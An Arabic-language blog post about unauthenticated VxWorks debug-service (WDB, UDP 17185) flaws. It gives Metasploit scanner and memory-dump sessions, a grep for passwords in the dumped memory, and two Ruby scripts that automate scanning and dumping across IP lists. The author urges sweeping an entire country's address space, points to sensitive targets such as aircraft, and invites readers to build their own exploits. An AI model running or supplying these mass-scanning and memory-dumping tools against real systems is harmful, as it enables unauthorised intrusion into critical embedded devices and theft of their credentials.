قام الباحث والمطور الأمني HD Moore بالإفصاح عن ثغرات متعلقة بنظام VxWorks من شركة Wind River Systems. النظام عبارة عن نظام الوقت الفعلي (Real-Time system) وهو موجود على اجهزة كثيرة جدا  وفي  اماكن  حساسة  كالطائرات  الحربية، الطائرات المدنية، المودم، وغيرها. الثغرة تكمن في ان خدمة التحليل Debug Service تعمل على بورت 17185/UDP ولا تتطلب اسم مستخدم وكلمة مرور للدخول عليها. وفي حالة الاتصال بهذا البورت ستتمكن من عمل التالي:

  • الكتابة/القراءة من والى الذاكرة
  • مناداة دوال في النظام
  • ادارة بعض العمليات عن بعد

وقد تم اضافة scripts لمشروع Metasploit يقوم بالبحث عن هذه الأجهزة تحميل محتوى الذاكرة بالكامل لجهازك Memory Dump وتقوم انت بتحليل محتوى الذاكرة مثل البحث عن باسوردات أو معرفة عمل الجهاز ووظيفته. بالإضافة لبعض البواحث Scanners الأخرى اللتي تبحث في ايبيات مدخلة منك عن أنظمة مصابة.

سنتحدث هنا عن استخدام Metasploit وعن تسهيل عملية البحث عن الأجهزة المصابة في نطاق ايبيات كبير كجميع الأجهزة في السعودية باستخدام سكربت اخر يسهل العملية. بداية سنقوم بشرح الطريقة العادية، اما طريقة استخدام السكريبت في سهله :)

[bash]

root@sophtobt:~# msfconsole

msf > use auxiliary/scanner/vxworks/wdbrpc_version
msf auxiliary(wdbrpc_version) > show options

Module options:

Name Current Setting Required Description
—- ————— ——– ———–
BATCHSIZE 256 yes The number of hosts to probe in each set
RHOSTS yes The target address range or CIDR identifier
RPORT 17185 yes The target port
THREADS 1 yes The number of concurrent threads

msf auxiliary(wdbrpc_version) > set rhosts 192.168.1.1/24
rhosts => 192.168.1.1/24
msf auxiliary(wdbrpc_version) > run

[*] Scanned 256 of 256 hosts (100% complete)

msf auxiliary(wdbrpc_version) > use auxiliary/admin/vxworks/wdbrpc_memory_dump
msf auxiliary(wdbrpc_memory_dump) > set rhost 192.168.1.20
rhost => 192.168.1.20
msf auxiliary(wdbrpc_memory_dump) > set lpath /root/vxworks.dmp
lpath => /root/vxworks.dmp
msf auxiliary(wdbrpc_memory_dump) > run

[*] Attempting to dump system memory…
[/bash]

وبكذا تقوم بتحليل الناتج من عملية الـDumping بالبحث عن معلومات مفيدة كما وضحنا باستخدام اي اداة hex editing او امر grep

( grep -ia pass | more)

ولإستخدام السكريبت ليسهل عملية ايجاد اجهزة مصابة نقوم بحفظ سكريبت البحث وتشغيله، فقط تحتاج اولاً لانشاء ملف hosts.log وتقوم بوضع الآيبيات المراد البحث فيها. يمكن الإستعانة بهذا الموقع لأخذ نطاق الدولة مثل السعودية والبحث في كل الايبيات المخصصة لتلك الدولة.

[ruby]
#!/usr/bin/ruby

# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
text = File.read file
File.open(file,’w+’){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}
end

# Removes last IP block from list.
def RemoveLine()

log = "hosts.log"
text = ”
File.open(log,"r"){|f|f.gets;text=f.read}
File.open(log,"w+"){|f| f.write(text)}

end

f = File.open(‘hosts.log’)
f.each do |line|

puts "Target: #{line}"
system("touch vxworks.rc")
m = File.open(‘vxworks.rc’, ‘w’) do |m|
m.puts "db_driver sqlite3"
m.puts "db_connect scandb"
m.puts "use scanner/vxworks/wdbrpc_version"
m.puts "set RHOSTS "
m.puts "run"
m.puts "exit"

end

SwapRHOSTS(‘vxworks.rc’, /set RHOSTS/, "set RHOSTS #{line}".chomp)

system("msfconsole -r vxworks.rc")

RemoveLine()

end
[/ruby]

وهذا سكريبت اخر ايقوم بعملية Memory Dumping

[ruby]
#!/usr/bin/ruby
# Inserts a new RHOSTS entry into the rc file.
def SwapRHOSTS(file, regex_to_find, text_to_put_in_place)
text = File.read file
File.open(file,’w+’){|f| f << text.gsub(regex_to_find, text_to_put_in_place)}
end
# Removes last IP block from list.
def RemoveLine()

log = "hosts.log"
text = ”
File.open(log,"r"){|f|f.gets;text=f.read}
File.open(log,"w+"){|f| f.write(text)}

end

f = File.open(‘hosts.log’)
f.each do |line|

puts "Target: #{line}"
system("touch vxworks.rc")
m = File.open(‘vxworks.rc’, ‘w’) do |m|
m.puts "db_driver sqlite3"
m.puts "db_connect scandb"
m.puts "use admin/vxworks/wdbrpc_memory_dump"
m.puts "set LPATH /tmp/vxworks_memory_"+"#{line}".chomp
m.puts "set RHOST "
m.puts "run"
m.puts "exit"

end

SwapRHOSTS(‘vxworks.rc’, /set RHOST/, "set RHOST #{line}".chomp)

system("msfconsole -r vxworks.rc")

RemoveLine()

end
[/ruby]

عملية البحث تستغرق وقت طووويل جداً اذا كنت تريد ايجاد جميع النتائج. النتائج قد تكون قليلة لكن وظيفة الجهاز تكون كبيرة غالبا وفي مناطق حساسة حسب النتائج اللي وجدتها. في هذه الآونة لاتوجد ثغرات تعطيك shell او تحكم كامل بهذا النظام، لكن سيتم طرحها في شهر سبتمبر… وحتى ذلك الوقت يمكنك الإنتظار أو تطوير ثغرات خاصة بك اذا كنت تعرف التعامل مع نظام VxWorks.

بالمناسبة يمكن استخدام موقع SHODAN لمعرفة نتائج بحث سريعة دون عناء البحث باستخدام metasploit.

Go Scan Go Go!! :)